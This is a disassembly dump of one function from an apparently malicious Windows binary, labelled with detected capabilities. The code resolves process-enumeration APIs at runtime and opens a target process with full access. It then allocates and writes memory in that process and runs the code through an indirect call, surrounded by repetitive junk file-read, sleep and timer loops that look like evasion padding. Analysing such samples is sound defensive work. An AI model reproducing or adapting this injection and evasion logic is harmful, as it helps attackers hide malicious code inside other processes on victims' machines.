Function at 0x131545c5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Read file on windows
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x144
mov eax, dword [0x13182360]
xor eax, esp
mov dword [esp + 0x140], eax
mov eax, dword [esp + 0x148]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
mov ebp, 0x80000000
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x170]
push ebp
mov edi, str.lksdjfjds
push edi
mov dword [esp + 0x34], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154639
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154675
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [0x131833d4]
add eax, dword [esp + 0x10]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154651
fld dword [0x1315f28c]
push ebx
fstp dword [esp + 0x2c]
push ebx
fld dword [0x1315f204]
push 3
fst dword [esp + 0x38]
push ebx
fld dword [0x1315f288]
push ebx
fst dword [esp + 0x44]
push ebp
fld dword [0x1315f284]
push edi
fstp dword [esp + 0x50]
fxch st(1)
fst dword [esp + 0x54]
fld dword [0x1315f280]
fst dword [esp + 0x58]
fld dword [0x1315f27c]
fstp dword [esp + 0x5c]
fld dword [0x1315f278]
fstp dword [esp + 0x60]
fld dword [0x1315f274]
fstp dword [esp + 0x64]
fld dword [0x1315f208]
fst dword [esp + 0x68]
fxch st(1)
fst dword [esp + 0x6c]
fstp dword [esp + 0x70]
fldz
fst dword [esp + 0x74]
fld dword [0x1315f270]
fstp dword [esp + 0x78]
fxch st(3)
fst dword [esp + 0x7c]
fxch st(2)
fst dword [esp + 0x80]
fld dword [0x1315f26c]
fst dword [esp + 0x84]
fld dword [0x1315f268]
fst dword [esp + 0x88]
fxch st(2)
fst dword [esp + 0x8c]
fld dword [0x1315f21c]
fstp dword [esp + 0x90]
fst dword [esp + 0x94]
fld dword [0x1315f210]
fstp dword [esp + 0x98]
fld dword [0x1315f20c]
fstp dword [esp + 0x9c]
fxch st(2)
fstp dword [esp + 0xa0]
fxch st(1)
fst dword [esp + 0xa4]
fld dword [0x1315f264]
fstp dword [esp + 0xa8]
fld dword [0x1315f260]
fstp dword [esp + 0xac]
fxch st(3)
fstp dword [esp + 0xb0]
fxch st(2)
fstp dword [esp + 0xb4]
fxch st(1)
fstp dword [esp + 0xb8]
fstp dword [esp + 0xbc]
fstp dword [esp + 0xc0]
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131547e3
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315481f
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x131547fb
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315485e
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315489a
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154876
fldz
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
lea ecx, [esp + ecx*4 + 0x28]
fcom dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x131548e2
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0xd0], al
mov byte [esp + ecx + 0xd1], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x131548ab
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
lea ecx, [esp + ecx*4 + 0x5c]
fcom dword [ecx]
fnstsw ax
test ah, 0x44
jnp 0x1315491d
fld dword [ecx]
call fcn.131557e0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x110], al
mov byte [esp + ecx + 0x111], bl
inc ecx
cmp ecx, 0xfffff
mov dword [esp + 0x10], ecx
jl 0x131548e6
push ebx
fstp st(0)
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154953
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315498f
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x1315496b
push str.CreateToolhelp32Snapshot
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
mov dword [0x131833c0], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131549ed
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154a29
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154a05
push str.Process32First
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
mov dword [0x131833c4], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154a87
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154ac3
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154a9f
push 0x1315f224
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
mov dword [0x131833c8], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154b21
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154b5d
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154b39
lea eax, [esp + 0x110]
push eax
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
mov dword [0x131833cc], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154bbe
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154bfa
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154bd6
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
mov dword [esp + 0x3c], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154c44
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154c80
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154c5c
push dword [esp + 0x18]
call fcn.13154234
cmp eax, ebx
pop ecx
mov dword [esp + 0x18], eax
jne 0x13154ca4
xor eax, eax
jmp 0x131552bb
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154cd8
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154d14
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154cf0
push dword [esp + 0x18]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, ebx
mov dword [esp + 0x14], eax
je 0x13154c9d
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154d6f
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154dab
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154d87
push 0x8000
push ebx
push dword [esp + 0x28]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154dfe
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154e3a
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154e16
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x50]
push pe_nt_image_headers32
push 0x3000
push ecx
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
mov dword [esp + 0x38], eax
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154e9b
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154ed7
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154eb3
cmp dword [esp + 0x1c], ebx
je 0x13154c9d
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154f20
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154f5c
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154f38
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13154f9b
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13154fd7
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13154fb3
push 0x1c
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x24]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315502e
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x1315506a
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13155046
jmp 0x13155117
mov eax, dword [esp + 0xc0]
cmp eax, ebx
je 0x13155125
test word [esp + 0xc8], 0x100
jne 0x131550fb
cmp eax, ebx
mov dword [esp + 0x18], ebx
jbe 0x131550fb
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
lea eax, [esp + 0xa8]
push eax
push pe_nt_image_headers32
push 0x1000
push dword [esp + 0x1c]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
lea eax, [esp + 0xac]
push eax
push 0x1000
push dword [esp + 0x18]
push dword [esp + 0x1c]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, 0x1000
add dword [esp + 0x18], eax
add dword [esp + 0x10], eax
mov eax, dword [esp + 0xc0]
cmp dword [esp + 0x18], eax
jb 0x131550a5
add dword [esp + 0x1c], eax
push 0x1c
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x24]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
cmp dword [esp + 0xc8], 1
jne 0x1315507a
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x13155159
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155195
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13155171
lea eax, [esp + 0xb0]
push eax
push ebx
push dword [esp + 0x28]
push dword [esp + 0x30]
push ebx
push ebx
push dword [esp + 0x2c]
call dword [0x131833cc]
test eax, eax
je 0x13154c9d
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x131551f9
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
add dword [0x131833d4], eax
mov dword [esp + 0x10], ebx
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x13155235
call dword [sym.imp.WINMM.dll_timeGetTime]
add eax, dword [esp + 0x10]
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xd
jl 0x13155211
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push ebx
push 3
push ebx
push ebx
push ebp
push edi
call esi
cmp eax, 0xffffffff
mov dword [0x131833d0], eax
je 0x1315527e
push ebx
push 0x131833dc
push 4
push 0x13183340
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [0x131833d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
call esi
add dword [0x131833d4], eax
push 0x1315f1e0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test eax, eax
je 0x131552b2
call esi
add eax, ebx
add eax, dword [0x131833d4]
mov dword [0x131833d8], eax
inc ebx
cmp ebx, 0xd
jl 0x13155294
xor eax, eax
inc eax
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1315574a
add esp, 0x144
ret